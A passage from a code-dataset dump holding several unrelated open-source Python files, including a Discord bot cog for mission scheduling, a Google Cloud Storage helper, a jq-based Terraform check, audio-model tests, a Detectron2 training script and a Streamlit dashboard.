\\\"MODNIGHT\\\".\"\n\t\t\t\tf\"\\nDetected `briefingName` was: `{briefingNameMatch.group()}`\"\n\t\t\t\t\"\\nPlease ensure that your mission is named according to the mission naming guidelines. Example: `COOP 52+1 - Daybreak v1.8`.\",\n\t\t\t\tephemeral = True)\n\t\t\treturn\n\n\t\tif bGametype is None:\n\t\t\tawait interaction.followup.send(\"Could not determine your mission's gametype from the `briefingName` entry in your `description.ext` file.\"\n\t\t\t\tf\"\\nDetected `briefingName` was: `{briefingNameMatch.group()}`\"\n\t\t\t\t\"\\nPlease ensure that your mission is named according to the mission naming guidelines. Example: `COOP 52+1 - Daybreak v1.8`.\",\n\t\t\t\tephemeral = True)\n\t\t\treturn\n\n\t\tif bPlayerCount is None:\n\t\t\tawait interaction.followup.send(\"Could not determine your mission's player count from the `briefingName` entry in your `description.ext` file.\"\n\t\t\t\tf\"\\nDetected `briefingName` was: `{briefingNameMatch.group()}`\"\n\t\t\t\t\"\\nPlease ensure that your mission is named according to the mission naming guidelines. Example: `COOP 52+1 - Daybreak v1.8`.\",\n\t\t\t\tephemeral = True)\n\t\t\treturn\n\n\t\tif bName is None:\n\t\t\tawait interaction.followup.send(\"Could not determine your mission's name from the `briefingName` entry in your `description.ext` file.\"\n\t\t\t\tf\"\\nDetected `briefingName` was: `{briefingNameMatch.group()}`\"\n\t\t\t\t\"\\nPlease ensure that your mission is named according to the mission naming guidelines. Example: `COOP 52+1 - Daybreak v1.8`.\",\n\t\t\t\tephemeral = True)\n\t\t\treturn\n\n\t\tif bVersion is None:\n\t\t\tawait interaction.followup.send(\"Could not determine your mission's version from the `briefingName` entry in your `description.ext` file.\"\n\t\t\t\tf\"\\nDetected `briefingName` was: `{briefingNameMatch.group()}`\"\n\t\t\t\t\"\\nPlease ensure that your mission is named according to the mission naming guidelines. Example: `COOP 52+1 - Daybreak v1.8`.\",\n\t\t\t\tephemeral = True)\n\t\t\treturn\n\n\t\tif bGametype.casefold() not in VALID_GAMETYPES:\n\t\t\tawait interaction.followup.send(f\"The gametype `{bGametype}` found in the `briefingName` entry in your `description.ext` file is not a valid gametype.\"\n\t\t\t\tf\"\\nDetected `briefingName` was: `{briefingNameMatch.group()}`\"\n\t\t\t\t\"\\nPlease ensure that your mission is named according to the mission naming guidelines. Example: `COOP 52+1 - Daybreak v1.8`.\",\n\t\t\t\tephemeral = True)\n\t\t\treturn\n\n\t\t# Mission has passed validation checks\n\t\t# Create our playercount string\n\t\tplayerCountString = str(bPlayerCount) if bExtraCount is None else f\"{bPlayerCount} + {bExtraCount}\"\n\t\t# Create our view\n\t\tview = MissionAuditView(self.bot, interaction.user, missionfile, modpackFile = modpreset)\n\t\t# Send the response\n\t\t# Everything else in the audit process is done through callbacks in the view and accompanying modal\n\t\tmessage = await interaction.followup.send(f\"Audit checks complete for mission `{missionfile.filename}`.\"\n\t\t\t\"\\nThe following information has been detected for this mission:\"\n\t\t\t\"```\"\n\t\t\tf\"Gametype : {bGametype}\\n\"\n\t\t\tf\"Mission Name : {bName}\\n\"\n\t\t\tf\"Playercount : {playerCountString}\\n\"\n\t\t\tf\"Map : {missionInfo['map']}\\n\"\n\t\t\tf\"Version : {bVersion}```\"\n\t\t\t\"If the information above looks correct, click the button below to submit your mission for audit.\",\n\t\t\tview = view,\n\t\t\twait = True\n\t\t)\n\t\tview.message = message\n\n\n\t@app_commands.command(name = \"schedule\")\n\t@app_commands.describe(\n\t\tdate = \"ISO 8601 formatted date (YYYY-MM-DD)\",\n\t\tmissionname = \"Name of the mission to schedule\",\n\t\tnotes = \"Optional notes to display on the schedule\"\n\t)\n\t@app_commands.autocomplete(missionname=mission_autocomplete)\n\t@app_commands.guild_only()\n\t@blueonblue.checks.has_configs(\n\t\tSCONF_MISSION_SHEET_KEY,\n\t\tSCONF_MISSION_WORKSHEET,\n\t\tSCONF_MISSION_WIKI_URL\n\t)\n\tasync def schedule(self, interaction: discord.Interaction, date: str, missionname: str, notes: str|None = None):\n\t\t\"\"\"Schedules a mission to be played. Missions must be present on the audit list.\"\"\"\n\t\tassert interaction.guild is not None\n\n\t\tmissionKey = await self.bot.serverConfig.mission_sheet_key.get(interaction.guild)\n\t\tassert missionKey is not None\n\t\tmissionWorksheetName = await self.bot.serverConfig.mission_worksheet.get(interaction.guild)\n\t\tassert missionWorksheetName is not None\n\t\twikiURL = await self.bot.serverConfig.mission_wiki_url.get(interaction.guild)\n\t\tassert wikiURL is not None\n\n\t\t# See if we can convert out date string to a datetime object\n\t\ttry:\n\t\t\tdateVar = datetime.strptime(date, ISO_8601_FORMAT)\n\t\texcept:\n\t\t\tawait interaction.response.send_message(\"Dates need to be sent in ISO 8601 format! (YYYY-MM-DD)\", ephemeral=True)\n\t\t\treturn\n\n\t\t# Check to make sure that the mission isn't being scheduled too far in advance\n\t\tif (dateVar - datetime.now()) > timedelta(365):\n\t\t\tawait interaction.response.send_message(\"You cannot schedule missions more than one year in advance!\", ephemeral=True)\n\t\t\treturn\n\n\t\t# If we've passed our preliminary checks, defer the response\n\t\t# This gives us time to communicate with the wiki and google sheets\n\t\tawait interaction.response.defer()\n\n\t\t# Start our HTTP request block\n\t\ttry:\n\t\t\tasync with self.bot.httpSession.get(f\"{wikiURL}/api.php\", params = {\n\t\t\t\t\"action\": \"parse\",\n\t\t\t\t\"page\": \"Audited Mission List\",\n\t\t\t\t\"prop\": \"wikitext\",\n\t\t\t\t\"section\": 1,\n\t\t\t\t\"format\": \"json\"\n\t\t\t}) as response:\n\t\t\t\tresponseData: dict = await response.json()\n\t\t\t\tresponseText: str = responseData[\"parse\"][\"wikitext\"][\"*\"]\n\t\texcept aiohttp.ClientResponseError as error:\n\t\t\tawait interaction.followup.send(f\"Could not contact the wiki to search for the audit list (Error: {error.status}). Please contact the bot owner.\")\n\t\t\t_log.warning(f\"Received HTTP error {error.status} when trying to read the audit list from the wiki.\")\n\t\t\treturn\n\t\texcept:\n\t\t\tawait interaction.followup.send(\"Error reading audit list from wiki. Please contact the bot owner.\")\n\t\t\traise\n\n\t\t# Now that we have our text, split it up and parse it.\n\t\tresponseLines = responseText.split(\"\\n\")\n\t\tmissionData: list[list[str]] = []\n\t\tfor line in responseLines:\n\t\t\tif not line.startswith(\"{{\"):\n\t\t\t\t# We only care about lines that start with {{\n\t\t\t\tcontinue\n\t\t\t# Remove the leading and trailing braces\n\t\t\tline = line.replace(\"{\",\"\").replace(\"}\",\"\")\n\t\t\t# Split the line by pipe\n\t\t\tline = line.split(\"|\")\n\t\t\t# Delete the first value, this ends up being the wiki template name\n\t\t\tdel line[0]\n\t\t\t# Append our line to our missionData\n\t\t\tmissionData.append(line)\n\n\t\t# Now that we have our list, find the row that contains the mission in question\n\t\tmission = None\n\t\tfor row in missionData:\n\t\t\tif row[0].casefold() == missionname.casefold():\n\t\t\t\tmission = row\n\t\t\t\tbreak\n\n\t\t# If we did not find a matching row, return an error\n\t\tif mission is None:\n\t\t\tawait interaction.followup.send(f\"I could not find the mission `{missionname}` on the audit list.\")\n\t\t\treturn\n\n\t\t# Put a placeholder if the map name is missing\n\t\tif mission[1] == \"\":\n\t\t\tmission[1] = \"Unknown\"\n\n\t\t# Mission row is in format:\n\t\t# Mission, Map, Author\n\n\t\t#Convert the date back to a string format so that we can find it on the schedule sheet\n\t\tdateStr = dateVar.strftime(ISO_8601_FORMAT)\n\n\t\t# Start our spreadsheet block\n\t\t# Authorize our connection to google sheets\n\t\tgoogleClient = await self.agcm.authorize()\n\n\t\t# Get the actual mission document\n\t\tmissionDoc = await googleClient.open_by_key(missionKey)\n\t\tmissionSheet = await missionDoc.worksheet(missionWorksheetName)\n\n\t\t# See if we can find the cell with the matching date\n\t\ttry:\n\t\t\tdatecell = await missionSheet.find(dateStr)\n\t\texcept:\n\t\t\tdatecell = None\n\n\t\t# If we found the date cell, start writing our data\n\t\tif datecell is not None:\n\n\t\t\t# Find the mission column\n\t\t\tfirstRow = await missionSheet.row_values(1)\n\t\t\tcolMission = firstRow.index(\"Mission\") + 1\n\t\t\tcolMap = firstRow.index(\"Map\") + 1\n\t\t\tcolAuthor = firstRow.index(\"Author(s)\") + 1\n\t\t\tcolMedical = firstRow.index(\"Medical\") + 1\n\t\t\tcolWS = firstRow.index(\"Western Sahara\") + 1\n\t\t\tcolNotes = firstRow.index(\"Notes\") + 1\n\n\t\t\tcellMission = await missionSheet.cell(datecell.row,colMission)\n\t\t\tif cellMission.value == None:\n\t\t\t\t# Only continue if we don't already have a mission for that date\n\t\t\t\tcellMission.value = mission[0]\n\t\t\t\tcellList = [cellMission]\n\n\t\t\t\tcellMap = await missionSheet.cell(datecell.row,colMap)\n\t\t\t\tcellMap.value = mission[1]\n\t\t\t\tcellList.append(cellMap)\n\n\t\t\t\tcellAuthor = await missionSheet.cell(datecell.row,colAuthor)\n\t\t\t\tcellAuthor.value = mission[2]\n\t\t\t\tcellList.append(cellAuthor)\n\n\t\t\t\tcellMedical = await missionSheet.cell(datecell.row,colMedical)\n\t\t\t\tcellMedical.value = \"Basic\"\n\t\t\t\tcellList.append(cellMedical)\n\n\t\t\t\tif mission[1] == \"Sefrou-Ramal\":\n\t\t\t\t\tcellWS = await missionSheet.cell(datecell.row,colWS)\n\t\t\t\t\tcellWS.value = \"True\"\n\t\t\t\t\tcellList.append(cellWS)\n\n\t\t\t\tif notes is not None:\n\t\t\t\t\tcellNotes = await missionSheet.cell(datecell.row,colNotes)\n\t\t\t\t\tcellNotes.value = notes\n\t\t\t\t\tcellList.append(cellNotes)\n\t\t\t\t# With our data set, write it back to the spreadsheet\n\t\t\t\tawait missionSheet.update_cells(cellList, value_input_option = ValueInputOption.user_entered)\n\t\t\t\t#await missionSheet.update(f\"{datecell.address}:{secondAddr}\", [rowData])\n\t\t\t\tawait interaction.followup.send(f\"The mission `{mission[0]}` has been successfully scheduled for {dateStr}`\")\n\t\t\telse:\n\t\t\t\t# Mission already scheduled\n\t\t\t\tawait interaction.followup.send(f\"A mission has already been scheduled for {dateStr}\")\n\t\telse:\n\t\t\t# Date not found. Send an error\n\t\t\tawait interaction.followup.send(\"Missions can not be scheduled that far in advance at this time. \"\n\t\t\t\t\"Please contact the mission master if you need to schedule a mission that far in advance.\")\n\n\t@app_commands.command(name = \"schedule_cancel\")\n\t@app_commands.describe(date = \"ISO 8601 formatted date (YYYY-MM-DD)\")\n\t@app_commands.guild_only()\n\t@app_commands.default_permissions(manage_messages=True)\n\t@blueonblue.checks.has_configs(\n\t\tSCONF_MISSION_SHEET_KEY,\n\t\tSCONF_MISSION_WORKSHEET,\n\t\tSCONF_MISSION_WIKI_URL\n\t)\n\tasync def schedule_cancel(self, interaction: discord.Interaction, date: str):\n\t\t\"\"\"Removes a previously scheduled mission from the mission schedule\"\"\"\n\t\tassert interaction.guild is not None\n\n\t\tmissionKey = await self.bot.serverConfig.mission_sheet_key.get(interaction.guild)\n\t\tassert missionKey is not None\n\t\tmissionWorksheetName = await self.bot.serverConfig.mission_worksheet.get(interaction.guild)\n\t\tassert missionWorksheetName is not None\n\n\t\t# See if we can convert out date string to a datetime object\n\t\ttry:\n\t\t\tdateVar = datetime.strptime(date, ISO_8601_FORMAT)\n\t\texcept:\n\t\t\tawait interaction.response.send_message(\"Dates need to be sent in ISO 8601 format! (YYYY-MM-DD)\", ephemeral=True)\n\t\t\treturn\n\n\t\t# If we've passed our preliminary checks, defer the response\n\t\t# This gives us time to communicate with the google sheets\n\t\tawait interaction.response.defer()\n\n\t\t#Convert the date back to a string format so that we can find it on the schedule sheet\n\t\tdateStr = dateVar.strftime(ISO_8601_FORMAT)\n\n\t\t# Start our spreadsheet block\n\t\t# Authorize our connection to google sheets\n\t\tgoogleClient = await self.agcm.authorize()\n\n\t\t# Get the actual mission document\n\t\tmissionDoc = await googleClient.open_by_key(missionKey)\n\t\tmissionSheet = await missionDoc.worksheet(missionWorksheetName)\n\n\t\t# See if we can find the cell with the matching date\n\t\ttry:\n\t\t\tdatecell = await missionSheet.find(dateStr)\n\t\texcept:\n\t\t\tdatecell = None\n\n\t\t# If we found the date cell, start writing our data\n\t\tif datecell is not None:\n\t\t\t# Find the mission column\n\t\t\tfirstRow = await missionSheet.row_values(1)\n\t\t\tcolMission = firstRow.index(\"Mission\") + 1\n\t\t\tcolMap = firstRow.index(\"Map\") + 1\n\t\t\tcolAuthor = firstRow.index(\"Author(s)\") + 1\n\t\t\tcolMedical = firstRow.index(\"Medical\") + 1\n\t\t\tcolWS = firstRow.index(\"Western Sahara\") + 1\n\t\t\tcolNotes = firstRow.index(\"Notes\") + 1\n\n\t\t\tcellMission = await missionSheet.cell(datecell.row,colMission)\n\t\t\tif cellMission.value != None:\n\t\t\t\t# Only continue if we don't already have a mission for that date\n\t\t\t\tmissionName = cellMission.value\n\t\t\t\tcellMission.value = \"\"\n\t\t\t\tcellList = [cellMission]\n\n\t\t\t\tcellMap = await missionSheet.cell(datecell.row,colMap)\n\t\t\t\tcellMap.value = \"\"\n\t\t\t\tcellList.append(cellMap)\n\n\t\t\t\tcellAuthor = await missionSheet.cell(datecell.row,colAuthor)\n\t\t\t\tcellAuthor.value = \"\"\n\t\t\t\tcellList.append(cellAuthor)\n\n\t\t\t\tcellMedical = await missionSheet.cell(datecell.row,colMedical)\n\t\t\t\tcellMedical.value = \"\"\n\t\t\t\tcellList.append(cellMedical)\n\n\t\t\t\tcellWS = await missionSheet.cell(datecell.row,colWS)\n\t\t\t\tcellWS.value = \"False\"\n\t\t\t\tcellList.append(cellWS)\n\n\t\t\t\tcellNotes = await missionSheet.cell(datecell.row,colNotes)\n\t\t\t\tcellNotes.value = \"\"\n\t\t\t\tcellList.append(cellNotes)\n\t\t\t\t# With our data set, write it back to the spreadsheet\n\t\t\t\tawait missionSheet.update_cells(cellList, value_input_option = ValueInputOption.user_entered)\n\t\t\t\tawait interaction.followup.send(f\"The mission `{missionName}` has been removed as the scheduled mission for {dateStr}.\")\n\t\t\telse:\n\t\t\t\t# Mission already scheduled\n\t\t\t\tawait interaction.followup.send(f\"I could not find a mission scheduled for {dateStr}.\")\n\t\telse:\n\t\t\t# Date not found. Send an error\n\t\t\tawait interaction.followup.send(f\"I could not find a mission scheduled for {dateStr}.\")\n\n\nasync def setup(bot: blueonblue.BlueOnBlueBot):\n\tawait bot.add_cog(Missions(bot))\n","repo_name":"Superxpdude/blue-on-blue","sub_path":"cogs/missions.py","file_name":"missions.py","file_ext":"py","file_size_in_byte":33602,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"42103881687","text":"import esphome.config_validation as cv\nimport esphome.codegen as cg\nfrom esphome.const import CONF_ID\n\nCODEOWNERS = [\"@OttoWinter\"]\nDEPENDENCIES = [\"logger\"]\n\ndebug_ns = cg.esphome_ns.namespace(\"debug\")\nDebugComponent = debug_ns.class_(\"DebugComponent\", cg.Component)\nCONFIG_SCHEMA = cv.Schema(\n {\n cv.GenerateID(): cv.declare_id(DebugComponent),\n }\n).extend(cv.COMPONENT_SCHEMA)\n\n\nasync def to_code(config):\n var = cg.new_Pvariable(config[CONF_ID])\n await cg.register_component(var, config)\n","repo_name":"natelust/esphomeZephyr","sub_path":"esphome/components/debug/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":511,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"67"} +{"seq_id":"370250605","text":"from google.cloud import storage\nfrom uuid import uuid1\nimport os\nimport json\n\nclass Gcs:\n def __init__(self, bucket, **kwargs):\n storage_client = storage.Client()\n self.bucket = storage_client.bucket(bucket)\n\n def list_keys(self, prefix=None):\n return [f.name for f in self.bucket.list_blobs(prefix=prefix)]\n\n def read(self, path='/'):\n blob = self.bucket.get_blob(path)\n if blob:\n return blob.download_as_string()\n else:\n return None #Make this a warning? Or exception?\n\n def write(self, path, file_body):\n blob = self.bucket.blob(path)\n blob.upload_from_string(file_body)\n\n def rewrite(self, target_path, source_path):\n target_blob = self.bucket.blob(target_path)\n source_blob = self.bucket.blob(source_path)\n target_blob.rewrite(source_blob)\n\n def delete(self, path):\n blob = self.bucket.blob(path)\n blob.delete()\n\n def compose(self, prefix, outfile_path):\n blobs = self.bucket.list_blobs(prefix=prefix)\n self.bucket.blob(outfile_path).compose(blobs)\n\n def append(self, path, new_list):\n file_type = path.split('.')[-1]\n\n if file_type == 'jsonl':\n target = self.read(path).split('\\n')\n\n if file_type == 'json':\n target = json.loads(self.read(path))\n\n if isinstance(target, list):\n target.extend(new_list)\n tmp_path = f'tmp/{uuid1()}'\n output = json.dumps(target) if file_type=='json' else '\\n'.join([json.dumps(x) for x in target])\n self.write(tmp_path, output)\n if len(self.list_keys(tmp_path))>0:\n self.rewrite(path, tmp_path)\n self.delete(tmp_path)\n","repo_name":"iamepps/scrape-indeed","sub_path":"src/gcs.py","file_name":"gcs.py","file_ext":"py","file_size_in_byte":1738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"16634316094","text":"import json\nimport subprocess\n\nfrom tuvok import hcl2json\nfrom tuvok.checks.base import BaseTuvokCheck, CheckResult\n\n\ndef translate_jq(query):\n import platform\n if platform.system() == 'Windows':\n return '\\\"{}\\\"'.format(query.replace('\"', '\\\\\\\"'))\n return \"'{}'\".format(query)\n\n\nclass JqCheck(BaseTuvokCheck):\n\n jq_command = None\n\n def __init__(self, name, description, severity, command, prevent):\n super().__init__(name, description, severity, prevent)\n self.jq_command = command\n\n def check(self, f):\n parsed_json = json.dumps(hcl2json(f))\n query = \"jq -r -c {}\".format(translate_jq(self.jq_command))\n proc = subprocess.Popen(\n args=query, shell=True, stdin=subprocess.PIPE, stdout=subprocess.PIPE,\n stderr=subprocess.PIPE, universal_newlines=True)\n (stdout, stderr) = proc.communicate(input=parsed_json)\n\n if 'Cannot iterate over null' in stderr or stdout == '':\n # nothing was found! pass, no JQ matches\n return CheckResult(True, str(f), self)\n\n if proc.returncode > 0:\n raise Exception(str(stderr))\n\n results = []\n for entry in stdout.split():\n explanation = \"{}:{}\".format(entry, str(f))\n results.append(CheckResult(False, explanation, self))\n\n return results\n","repo_name":"rackerlabs/tuvok","sub_path":"tuvok/checks/jq.py","file_name":"jq.py","file_ext":"py","file_size_in_byte":1346,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"67"} +{"seq_id":"40979577485","text":"import calendar\nimport datetime\n\ndef display_calendar(year, month):\n try:\n cal = calendar.month(year, month)\n print(f\"Календар на {calendar.month_name[month]}, {year}:\")\n print(cal)\n except IndexError:\n print(\"Некоректно введений рік або місяць.\")\n\n\n# Введення року та місяця з консолі\ntry:\n input_year = int(input(\"Введіть рік: \"))\n input_month = int(input(\"Введіть місяць (від 1 до 12): \"))\n if not 1 <= input_month <= 12:\n raise ValueError(\"Некоректно введений місяць.\")\n\n display_calendar(input_year, input_month)\nexcept ValueError as e:\n print(e)\n\ndef printTimeStamp(name):\n print('Автор програми: ' + name)\n print('Час компіляції: ' + str(datetime.datetime.now()))\n\n\nprintTimeStamp(\"Yan Savinov\")\n","repo_name":"YanSav10/CSBC","sub_path":"practice-8/task-4.py","file_name":"task-4.py","file_ext":"py","file_size_in_byte":911,"program_lang":"python","lang":"uk","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"6590270566","text":"from unittest import TestCase\nfrom audio_model import *\nfrom attention_model import *\nfrom contrastive_estimation_training import *\n\nimport sys\nimport time\ntry:\n from audio_dataset import *\nexcept:\n sys.path.append('/Users/vincentherrmann/Documents/Projekte/Immersions/Data')\n from audio_dataset import *\n\n\n\nclass TestContrastiveEstimationTrainer(TestCase):\n def setUp(self):\n self.encoder = AudioEncoder({'strides': [5, 4, 2, 2, 2],\n 'kernel_sizes': [10, 8, 4, 4, 4],\n 'channel_count': [32, 32, 32, 32, 32],\n 'bias': True})\n #self.ar_model = AudioGRUModel(input_size=32, hidden_size=48)\n self.ar_model = AttentionModel(channels=32, output_size=48, num_layers=2, seq_length=64)\n self.pc_model = AudioPredictiveCodingModel(encoder=self.encoder,\n autoregressive_model=self.ar_model,\n enc_size=32,\n ar_size=48,\n prediction_steps=12)\n item_length = self.encoder.receptive_field + (64 + 12 - 1) * self.encoder.downsampling_factor\n self.dataset = AudioDataset(location='/Users/vincentherrmann/Documents/Projekte/Immersions/MelodicProgressiveHouse_Tracks_test',\n item_length=item_length)\n\n def test_contrastiveEstimationTraining(self):\n visible_steps = 64\n prediction_steps = self.pc_model.prediction_steps\n visible_length = self.encoder.receptive_field + (visible_steps-1)*self.encoder.downsampling_factor\n prediction_length = self.encoder.receptive_field + (prediction_steps-1)*self.encoder.downsampling_factor\n\n self.trainer = ContrastiveEstimationTrainer(model=self.pc_model,\n dataset=self.dataset,\n visible_length=visible_length,\n prediction_length=prediction_length)\n tic = time.time()\n self.trainer.train(batch_size=32, max_steps=1000, num_workers=4, lr=1e-3)\n toc = time.time()\n\n time_per_minibatch = (toc - tic) / 10\n print(\"time per minibatch:\", time_per_minibatch)\n\n def test_contrastiveEstimationTesting(self):\n visible_steps = 64\n prediction_steps = self.pc_model.prediction_steps\n visible_length = self.encoder.receptive_field + (visible_steps-1)*self.encoder.downsampling_factor\n prediction_length = self.encoder.receptive_field + (prediction_steps-1)*self.encoder.downsampling_factor\n\n self.trainer = ContrastiveEstimationTrainer(model=self.pc_model,\n dataset=self.dataset,\n validation_set=self.dataset,\n visible_length=visible_length,\n prediction_length=prediction_length)\n self.trainer.score_over_all_timesteps = False\n tic = time.time()\n losses, accuracies, mean_score, mmi_lb = self.trainer.validate(batch_size=16, max_steps=20, num_workers=4)\n toc = time.time()\n\n print(\"losses:\", losses)\n print(\"accuracies:\", accuracies)\n\n time_per_minibatch = (toc - tic) / 20\n print(\"time per minibatch:\", time_per_minibatch)\n assert False\n\n def test_trainingMemoryUsage(self):\n print(\"parameter count of model:\", self.pc_model.parameter_count())\n\n def test_testTask(self):\n visible_steps = 64\n visible_length = self.encoder.receptive_field + (visible_steps - 1) * self.encoder.downsampling_factor\n\n test_dataset = AudioTestingDataset(location='/Users/vincentherrmann/Documents/Projekte/Immersions/MelodicProgressiveHouse_Tracks_small_test',\n item_length=visible_length)\n self.trainer = ContrastiveEstimationTrainer(model=self.pc_model,\n dataset=self.dataset,\n visible_length=visible_length,\n prediction_length=0,\n test_task_set=test_dataset)\n accuracy = self.trainer.test_task(num_workers=4)\n assert accuracy > 0. and accuracy < 1.\n\n\n\n","repo_name":"vincentherrmann/constrastive-predictive-coding-audio","sub_path":"tests/test_contrastiveEstimationTrainer.py","file_name":"test_contrastiveEstimationTrainer.py","file_ext":"py","file_size_in_byte":4566,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"72"} +{"seq_id":"11253084288","text":"from custom import *\nfrom detectron2.data.datasets import register_coco_instances\nfrom detectron2.engine import DefaultTrainer\nfrom detectron2.utils.logger import setup_logger\nimport os, pickle, warnings\nwarnings.filterwarnings(\"ignore\")\n\nsetup_logger()\n\n# ### initialise any pre-trained model from model zoo #####\nconfig_file_path = 'COCO-InstanceSegmentation/mask_rcnn_R_50_FPN_3x.yaml'\ncheck_point_url = 'COCO-InstanceSegmentation/mask_rcnn_R_50_FPN_3x.yaml'\ndevice = 'cuda' # or 'cpu'\n\n# ################ set training parameters #############\noutput = './output/instance_segmentation'\nnum_classes = 2\ntrain_dataset_name = 'scene_cancer_train'\ntest_dataset_name = 'scene_cancer_test'\ncfg_save_path = 'scene_data/IS_cfg.pickle'\nsteps = 2000\n# #######################################################\ntrain_images_path = 'scene_data/train'\ntrain_annot_path = 'scene_data/train.json'\ntest_images_path = 'scene_data/test'\ntest_annot_path = 'scene_data/test.json'\n# ############ register dataset ##########################\nregister_coco_instances(name=train_dataset_name, metadata={},\n json_file=train_annot_path, image_root=train_images_path)\nregister_coco_instances(name=test_dataset_name, metadata={},\n json_file=test_annot_path, image_root=test_images_path)\n\n# check registered or not, uncomment plot_sample...\n# plot_sample(dataset_name=train_dataset_name, n=2)\n# ########################## configure ##########################\n\n\ndef main():\n cfg = get_train_cfg(config_file_path=config_file_path, check_point_url=check_point_url,\n train_dataset_name=train_dataset_name, test_dataset_name=test_dataset_name,\n num_classes=num_classes, steps=steps, device=device, output=output)\n\n with open(cfg_save_path, 'wb') as f:\n pickle.dump(cfg, f, protocol=pickle.HIGHEST_PROTOCOL) # saving cfg\n os.makedirs(cfg.OUTPUT_DIR, exist_ok=True) # making output directory if not exists\n trainer = DefaultTrainer(cfg) # loading default trainer\n trainer.resume_or_load(resume=False)\n trainer.train()\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"MaitrySinha21/Detectron2-application","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":2143,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"1547876234","text":"import sys, os, argparse, glob\ncurrent = os.path.dirname(os.path.realpath(__file__))\nparent = os.path.dirname(current)\nif parent not in sys.path:\n sys.path.insert(0, parent)\n print(\"Adding parent to sys path\")\n\nimport streamlit as st\nst.set_page_config(\n page_title=\"Home\",\n page_icon=\"🏠\",\n layout=\"wide\"\n\n)\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nsns.set_theme()\nsns.set()\n\nfrom deta import Deta # Import Deta\n\nfrom datetime import datetime\nfrom dateutil.relativedelta import *\n\nimport data_model\nimport load_data\nimport util\nfrom template.page import Page\n\n\n\nclass MainPage(Page):\n def __init__(self, data_model, args):\n super().__init__(data_model)\n self.local = args.local\n \n if self.local:\n print(\"Using local data...\")\n self.all_files = glob.glob(f\".\\..\\loaded_data\\dates_dict_*.npy\")\n else:\n print(\"Using remote data...\")\n self.all_files = get_all_remote_files()\n \n self.data_model.limit_start_date, self.data_model.limit_end_date = util.get_date_boundaries(self.all_files)\n self.initial_start_date = self.data_model.limit_start_date\n self.initial_end_date = self.data_model.limit_end_date\n \n \n \n def run_page(self, title, description):\n if self.data_model.limit_start_date is None or self.data_model.limit_end_date is None:\n st.warning(\"No files found!\")\n return\n super().run_page(title, description)\n \n #\n # PAGE\n #\n \n #\n if self.data_model.dates_dict is not None:\n st.info(f\"Currently loaded {self.data_model.min_start_date} to {self.data_model.max_end_date}\")\n \n if not self.local:\n st.warning(f\"As this dashboard runs in a ressource-limited cloud environment, please do not load more than one month of data to prevent crashes.\")\n \n # select date window\n current_start_date = self.data_model.limit_start_date if self.data_model.min_start_date is None else self.data_model.min_start_date\n current_end_date = \"2021-11-24\" if self.data_model.max_end_date is None else self.data_model.max_end_date\n col1, col2 = st.columns(2)\n with col1:\n selected_start_date = st.date_input(\n \"Start date\",\n # datetime.date(2022, 2, 1))\n datetime.strptime(str(current_start_date), \"%Y-%m-%d\").date(),\n min_value=datetime.strptime(str(self.data_model.limit_start_date), \"%Y-%m-%d\").date(),\n max_value=datetime.strptime(str(self.data_model.limit_end_date), \"%Y-%m-%d\").date(),\n key=\"home_select_start_date\"\n ).strftime(\"%Y-%m-%d\")\n st.caption(f\"Current start date is: {current_start_date}\")\n\n with col2:\n selected_end_date = st.date_input(\n \"End date\",\n datetime.strptime(str(current_end_date), \"%Y-%m-%d\").date(),\n min_value=datetime.strptime(str(self.data_model.limit_start_date), \"%Y-%m-%d\").date(),\n max_value=datetime.strptime(str(self.data_model.limit_end_date), \"%Y-%m-%d\").date(),\n key=\"home_select_end_date\"\n ).strftime(\"%Y-%m-%d\")\n st.caption(f\"Current end date is: {current_end_date}\")\n\n st.markdown(\"\"\"---\"\"\") \n load_only_challenge_runs = st.checkbox(\"only load challenge runs\", value=not self.local, help=\"Only loading challenge runs will immensly reduce loading times\", disabled=not self.local)\n if not self.local:\n st.info(\"You can only load challenge data in this cloud-based streamlit application. Use a local instance to also load non-challenge data\")\n st.markdown(\"\"\"---\"\"\") \n\n col1,col2,col3 = st.columns([1.5,1,1.5]) #center laod button\n with col2:\n load = st.button(\"Load data in time range\")\n # load button clicked\n if load:\n self.data_model.start_date = selected_start_date\n self.data_model.end_date = selected_end_date\n self.data_model.only_challenges_loaded = load_only_challenge_runs\n\n # load data\n with st.spinner('Loading data... (This may take several minutes, depending on amount of data loaded)'):\n dates_dict = None #clear previous data to clear memory\n if self.local:\n dates_dict = load_local_data(selected_start_date, selected_end_date, load_only_challenge_runs, local=self.local)\n else:\n dates_dict = load_remote_data(selected_start_date, selected_end_date, load_only_challenge_runs, self.all_files, local=self.local)\n self.data_model.dates_dict = dates_dict\n self.data_model.min_start_date = selected_start_date\n self.data_model.max_end_date = selected_end_date \n if self.data_model.dates_dict != None:\n st.success(\"Data successfully loaded!\")\n\n # show basic metrics\n number_of_days_loaded = util.get_number_of_days(selected_start_date, selected_end_date)\n number_of_loaded_runs = util.get_number_of_runs(self.data_model.dates_dict, selected_start_date, selected_end_date)\n total_use_time = util.get_use_time(self.data_model.dates_dict, selected_start_date, selected_end_date)\n total_number_of_frames = util.get_number_of_frames(self.data_model.dates_dict, selected_start_date, selected_end_date)\n\n st.markdown(\"\"\"---\"\"\")\n\n col1, col2, col3, col4 = st.columns(4)\n col1.metric(\"total number of days\", number_of_days_loaded, delta=None)\n col2.metric(\"total number of runs\", number_of_loaded_runs, delta=None)\n col3.metric(\"total use time\", f\"{total_use_time:.2f} hours\", delta=None)\n col4.metric(\"total number of frames\", total_number_of_frames, delta=None)\n\n st.markdown(\"\"\"---\"\"\")\n\n st.session_state['data_model'] = self.data_model\n \n@st.cache(suppress_st_warning=True, allow_output_mutation=True, show_spinner=False)\ndef load_local_data(start_date, end_date, only_challenges, local=True):\n \n # load preloaded files\n dates_dict = util.load_dates_from_npz(start_date, end_date, only_challenges, local=local)\n \n 